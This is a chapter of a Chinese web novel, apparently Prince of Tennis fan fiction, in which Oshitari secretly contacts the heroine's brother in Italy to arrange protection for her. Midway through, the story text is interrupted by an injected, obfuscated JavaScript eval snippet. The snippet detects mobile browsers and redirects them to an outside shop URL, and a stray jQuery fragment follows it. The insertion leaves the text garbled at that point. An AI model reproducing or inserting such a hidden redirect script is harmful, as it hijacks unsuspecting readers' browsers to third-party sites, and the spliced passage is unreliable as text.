98.第 99 章

作品:《【网王】追月计划

    忍足拜托水谷把如月约出门。


    他和水谷雅子说要给如月准备生日惊喜,水谷雅子欣然答应,并且表示绝对保密。


    一大早,水谷就用采风的名义带如月出门去了。


    忍足微笑着目送车子消失在街角,笑容在他转身时消失无踪。


    快步走入宅邸,直接按下地库电梯。


    十分钟后,他的车如同离弦之箭冲出地库,引擎发出压抑的咆哮,一路向南。


    目标——横滨


    他没有去如月老宅,那里太明显,风险太高,如月遥会知道。


    车子最终停在了那家熟悉的陶艺工坊门口。


    几个月前,他和如月遥在这里一起做了陶土碗,还刻下了“月?侑”的印记。


    匆匆步入店内,店长看到他,立刻会意将他引向二楼包厢。


    推开包厢门,忍足脚步却一滞。


    里面坐着的,并非他预想中的如月辉,而是如月老宅那位头发梳理得一丝不苟、眼神锐利的早乙女管家。


    管家见到忍足,从容起身,躬身行礼:“忍足先生,日安。”


    “大少爷最近因意大利业务紧急出差,归期未定。”


    “陶艺店递来消息时提及是您私下约见,我便斗胆代大少爷前来。”


    他的语气恭敬,眼神深处却带着审视和疑虑。


    如月辉不在日本?!


    在这个山雨欲来的关键时刻,如月遥身边最重要的家族力量之一,竟然不在日本?


    一个念头电光火石般闪过,这很可能也是如月遥计划的一部分。


    为了麻痹敌人,为了诱敌深入。


    “早乙女先生,打扰了。”


    “我有要事,必须与如月辉先生当面沟通的,不知能否麻烦您提供一下辉先生的私人联系方式?”


    语气诚恳又急切。


    早乙女管家的眉头蹙起,这位忍足先生的行为太过反常。


    绕过如月遥小姐,用如此迂回隐蔽的方式联系大少爷,大少爷对他的态度可称不上友善。


    管家心中警铃微作:“忍足先生,请恕我冒昧一问。究竟是何等重要之事?需要绕过大小姐,非得直接联系大少爷不可?”


    他试图从对方脸上找出蛛丝马迹。


    忍足迎着他的审视,大脑飞速运转。


    坦白自己私下调查如月遥的核心秘密?绝不可能。


    这只会立刻招致如月遥的震怒和管家的敌意。


    “早乙女管家。”


    “此事,关乎如月遥小姐的安危。”


    直视着管家那双阅尽世事的眼睛,一字一句道:“请您相信我。”


    “关乎大小姐的安危……”


    早乙女管家咀嚼着这几个字,眼中的疑虑并未完全消散。


    但看到忍足眼中那份毫不作伪的恳切与凝重,再联想到东京如月宅那边传回的、两人几乎同居状态的种种消息……


    心中的天平在职业操守和对主人安危的担忧间剧烈摇摆。


    最终,对安危的担忧占了上风。


    “…明白了。”


    早乙女管家从内袋中取出一张名片,上面一个简洁的手写号码。


    “这是大少爷在意大利的紧急联络方式,请务必谨慎使用。”


    郑重地接过,如同接过沉甸甸的信任:“万分感谢!”


    他紧接着补充,恳求他:“今日之事,请您暂时不要告知遥小姐。”


    “我知道这非常违背您的职业操守,对此我深感抱歉。”


    “我会尽快联系辉先生,待辉先生有明确指示后,再由他决定是否告知遥小姐。在此之前……”


    早乙女管家看着他,缓缓点头:“可以。在大少爷有明确指示前,我会保密。”


    送走了早乙女管家,忍足独自留在包厢里。


    东京时间,中午十二点。


    意大利,此刻应是凌晨五点。


    他不能在这个时间贸然打扰。


    巨大的焦灼如同无数蚂蚁啃噬着他的内心,他需要做点什么,来平复这几乎要将他撕裂的等待。


    来到一楼空旷的陶艺区,今天店里没什么客人,舒缓的背景音乐流淌。


    拿起湿润的陶泥,坐到拉坯机前。


    启动机器,陶泥在旋转中发出沉闷的嗡鸣。


    修长有力的手指覆上湿润的泥胚,试图集中精神,让它成型。


    然而,泥土在他手下却显得异常桀骜。


    聚拢,塌陷。


    塑形,溃散。


    一次,又一次。


    正如他此刻的心情。


    所有的计划和担忧被无形的力量搅动着,无法凝聚成型,只剩下无尽的忐忑和沉重。


    时间的流逝变得异常缓慢,每一分钟都像一个世纪那么漫长。


    汗水顺着他的额角滑落,滴在旋转的泥胚上,瞬间消失无踪。


    终于,熬到了东京时间下午两点三十分。


    忍足拿出卡片,输入号码。


    短暂的等待音后,电话被接通。


    “摩西摩西?”


    电话那头传来一个明显带着浓浓睡意、极其不耐烦且暴躁的男声。


    “辉先生,打扰了,我是忍足侑士。”


    呼吸声明显凝滞了,睡意消散,取而代之的是被冒犯的怒意:


    “忍足侑士?你?你怎么敢……”


    显然,如月辉对忍足的印象依旧停留在“那个纠缠他妹妹的小白脸”阶段。


    怒火找到了出口,猛地坐起身,声音拔高了八度,劈头盖脸就是一通狂轰滥炸。


    “你这个混蛋!谁给你的胆子这个时间打电话?!”


    “打扰我睡觉不说!你这个臭小子凭什么住在我妹妹那边?谁允许你跟她同居的!”


    “我警告过你离她远点!你就这么不知死活?信不信我明天就飞回去打断你的腿!”


    起床气和积压已久的嫌弃爆发,如同火山喷发,骂得又快又狠,句句戳心。


    忍足侑士:“……”


    他握着电话,青筋直跳,只能耐着性子听着。


    如月辉骂人的词汇量和气势,和他妹妹如月遥简直是一个模子刻出来的。


    好不容易等对方的火力稍稍减弱,忍足立刻抓住空隙,打断他的咆哮。


    “辉先生!我有非常重要的事情必须立刻跟您谈!是关于阿遥——”


    “重要的事?”声音陡然拔得更高,带着荒谬的嘲讽,“怎么?想求婚?”


    “告诉你不可能!我妹妹还小!轮不到你这小子打主意!”


    “现在就结婚?门都没有!想都别想!”


    忍足侑士:“……”


    彻底无语。


    这位大舅子的脑回路是不是有什么问题?这思维跳跃得也太快了!


    “不是结婚!”忍足不得不加大音量,语气斩钉截铁地澄清,“请您听我说完。是阿遥,她现在身处危险之中!”


    沉寂了几秒。


    紧接着,如月辉浓浓怀疑:“危险?”


    “呵!”


    “我妹妹是什么人?她能有什么危险需要你来告诉我?”


    “少在这里危言耸听!是不是你惹了什么麻烦牵连到她?我告诉你……”


    “辉先生!”


    再次打断他,“我没有危言耸听,也不是我惹的麻烦。”


    “阿遥她正在进行一个非常危险的计划。”


    “具体内容我也不知道,但我向您保证,我所说的每一个字都是事实。”


    “她现在的处境,非常危险!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608232|186328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忍足的语速极快,每一个字都掷地有声。


    “我可以用我的职业生涯、我的生命发誓。”


    “如有半句虚言,天打雷劈。”


    他深知自己在如月辉心中可信度不佳,只能赌上最重的誓言。


    电话那头陷入了沉默。


    这一次的沉默,比之前更长,也更沉重。


    如月辉似乎在消化这突如其来的信息,在判断话语的可信度。


    他能听出忍足声音里那份焦急不像伪装,那份沉重的担忧更是发自肺腑。


    “……危险的计划?”如月辉的声音终于褪去了暴怒和轻视,变得低沉而严肃,“什么计划?”


    “抱歉,细节我真的不清楚。”忍足坦诚道,话锋一转,直指核心,“但我能确定的是,对方对阿遥产生极大的威胁。”


    “他们的目标大概率是要除掉她。而阿遥也准备反击了,她的计划已经到了最后阶段,随时可能爆发。”


    “她现在人在哪里?”


    “我立刻联系她!”


    “别!千万别!”忍足的心提到了嗓子眼,声音都变了调,“阿遥的性格,您比我更清楚!”


    “她要做的事情,靠一个电话,靠您发一顿脾气,能拦得住吗?”


    再次沉默。


    这次沉默,带着一种沉重的无力感。


    是的。


    他比任何人都清楚自己妹妹那认定目标九死不悔的性子。


    一旦她决定了的事情,除非她自己改变主意,否则没有任何人能强迫她回头。


    强行阻拦,只会让她更加疯狂。


    “……那你想要我做什么?”如月辉的声音变得异常干涩,带着一丝被戳中要害的无奈,“看着她去送死?”


    “保护和辅助。”忍足立刻接话,声音斩钉截铁。


    “计划已经开始,无法中止。我们能做的,就是在暗处为她构筑最坚实的防线。”


    “在她需要的时候,成为她的后盾和支援。确保她在风暴中全身而退。”


    他清晰地说出自己的核心诉求:“我需要您的授权。调动您在东京及周边所有可用的、绝对忠诚的力量。”


    电话那头,是如月辉粗重而压抑的呼吸声。


    “……好。”


    “我会立刻授权早乙女,调动东京所有能动用的资源,指挥权暂时移交给你和早乙女协同负责。”


    “首要目标就是不惜一切代价,确保阿遥的安全!”


    “意大利这边,我会尽快处理,赶回东京。”


    停顿了一下,如月辉的声音里暗藏着一种古怪的认可:“忍足侑士。”


    “为了我妹妹,你这‘无间道’玩得够可以的啊……”


    语气复杂,难以置信。


    “…保护好你自己。”


    “小胳膊小腿的,别自己先受伤了。她现在不能分心去担心你!”


    这别扭的关心,几乎是咬着牙说出来的。


    忍足听懂了,心中涌起一股暖流,更多的是责任。


    “明白,多谢!”


    两个男人之间,第一次达成了某种超越了个人喜恶的、基于共同守护目标的共识。


    电话挂断。


    忍足长长地、重重地舒了一口气,后背几乎被冷汗浸透。


    抬起手腕,看向手表——下午五点十分。


    不好。


    冲出陶艺店,引擎发出咆哮,朝着东京的方向疾驰而去。


    夕阳的金辉洒在高速公路上,车速飙升,窗外的景色飞速倒退。


    他必须在如月遥回家之前,比她更早一步出现在如月宅。


    扮演好那个刚刚“打完球回来”的、一无所知的男朋友。


    扮演好那个藏在暗处,为她张开守护之网的无名骑士。